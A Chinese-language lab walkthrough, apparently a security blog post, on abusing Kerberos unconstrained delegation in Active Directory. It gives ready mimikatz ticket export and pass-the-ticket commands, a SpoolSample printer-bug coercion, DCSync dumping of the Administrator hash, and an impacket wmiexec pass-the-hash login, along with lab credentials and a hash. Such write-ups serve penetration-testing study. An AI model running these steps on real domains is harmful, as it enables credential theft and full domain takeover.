域委派是什么
是将域用户的权限委派给服务账号,委派之后,服务账号就可以以域用户的身份去做域用户能够做的事
注意:能够被委派的用户只能是服务账号或者机器账号
1.机器账户:活动目录中的computers组内的计算机,也被称为机器账号。
2、服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL等,还有就是域用户通过注册SPN也能成为服务账号。
服务账号(Service Account),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。就比如 SQL Server在安装时,会在域内自动注册服务账号SqlServiceAccount,这类账号不能用于交互式登录。
委派的分类
- 非约束委派(Unconstrained Delegation, UD)
- 约束委派(Constrained Delegation, CD)
- 基于资源的约束委派(Resource Based Constrained Delegation, RBCD)
非约束委派
通俗来讲就是 :
在域中如果出现A使用Kerberos身份验证访问域中的服务B,而B再利用A的身份去请求域中的服务C,这个过程就可以理解为委派
一个经典例子:参考Y4er
jack需要登陆到后台文件服务器,经过Kerberos认证的过程如下:
- jack以Kerberos协议认证登录,将凭证发送给websvc
- websvc使用jack的凭证向KDC发起Kerberos申请TGT。
- KDC检查websvc的委派属性,如果websvc可以委派,则返回可转发的jack的TGT。
- websvc收到可转发TGT之后,使用该TGT向KDC申请可以访问后台文件服务器的TGS票据。
- KDC检查websvc的委派属性,如果可以委派,并且权限允许,那么返回jack访问服务的TGS票据。
- websvc使用jack的服务TGS票据请求后台文件服务器。
这里就相当于说 jack 登录到web服务器后 访问后台文件服务器 是没有权限的 后台服务器以为是websvc在访问它,但如果websvc设置了委派 就可以以jack的身份去访问后台这样 就有权限访问 这个时候websvc也可以使用jack的身份访问其他jack有权限访问的服务
实验环境
WIN2016 域控 hostname:DC ip:10.150.127.166
win2016 域机器 hostname:WEB ip:10.150.127.168
域用户 many asd123!
设置非约束性委派
机器账户的非约束性委派设置
服务账户的非约束委派设置
many是普通域用户 默认是没有委派设置的
给域用户注册SPN
命令
setspn -U -A priv/test many
在域控上执行
然后查看many用户
已经有了委派属性然后设置为非约束委派
查询域内设置了非约束委派的服务账户
在WEB上执行
命令:
AdFind.exe -b "DC=haishi,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
查询域内设置了非约束委派的机器账户
命令:
AdFind.exe -b "DC=haishi,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
域内域控机器账户默认设置了非约束委派
利用方式1
使域管理员访问被控机器
找到配置了非约束委派的机器(机器账户) 并且获取了其管理员权限
这里利用WEB演示
直接用administrator登录
把mimikatz传上去
先查看本地票据
命令:
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
使用域控访问WEB
在域控上执行
命令:
net use \\web.haishi.com
然后回到WEB 重新导出票据
有admin的
拒绝访问
导入票据
mimikatz.exe "kerberos::ptt [0;36eb98]-2-0-60a10000-Administrator@krbtgt-HAISHI.COM.kirbi" "exit"
在次访问
成功访问到
清除缓存
利用方式2
利用打印机漏洞
强迫运行打印服务(Print Spooler)的主机向目标主机发起 Kerberos 或 NTLM 认证请求。
条件
administrator权限
域用户的账户密码
域控开启打印机
工具
https://github.com/leechristensen/SpoolSample/ 自己编译
mimikatz
需要使用域用户运行SpoolSample
runas /user:haishi.com\many powershell 打开一个域用户权限的powershell
然后在many的powershell运行
然后导出票据
然后和上面一样 导入票据
命令
mimikatz.exe "kerberos::ptt [0;af1f8]-0-0-60a50000-DC$@cifs-dc.haishi.com.kirbi" "exit"
然后导出hash
lsadump::dcsync /domain:haishi.com /user:haishi\Administrator
然后利用wmiexec.py远程登录
python3 wmiexec.py -hashes :fb4f3a0d0b8c4d81d72d36b925dbed6c haishi.com/administrator@10.150.127.166 -no-pass
这里用的工具包impacket(github自行下载)
然后清除票据
但其实在实战中 很少遇到这种情况